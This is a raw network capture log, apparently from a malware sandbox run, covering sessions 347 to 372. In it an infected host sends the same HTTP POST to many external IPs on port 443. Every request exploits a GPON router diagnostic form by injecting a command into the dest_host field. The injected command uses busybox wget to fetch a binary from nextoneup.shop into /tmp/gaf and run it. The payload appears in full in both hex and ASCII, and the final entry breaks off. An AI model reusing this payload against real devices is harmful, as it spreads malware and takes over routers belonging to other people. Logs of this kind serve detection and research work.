347	192.168.2.23	33132	148.176.11.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164856911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	46866	123.209.139.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164902925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	40862	210.54.77.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164921999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	37690	123.239.247.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.164957047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	56736	94.46.171.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165050030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	52484	118.117.92.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165081024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	50574	42.172.227.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165132046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	55172	2.230.50.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165172100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	51914	210.99.173.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165199041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	47332	148.196.128.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165235996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	46658	37.149.75.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165288925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	41850	148.187.212.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165349960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	40066	37.8.56.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165349960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	57512	117.185.224.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165389061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	41492	210.29.81.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165401936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	37610	109.61.123.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165445089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	41750	109.205.251.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165477991 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	54006	118.138.60.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165524960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	45926	79.8.200.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165575981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	56770	148.129.148.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165604115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	58162	123.81.65.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165641069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	57848	2.148.204.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165683031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	54852	210.182.246.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165715933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	48068	5.192.75.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165747881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	37432	210.185.25.20	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165808916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	42778	37.139.57.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.165872097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 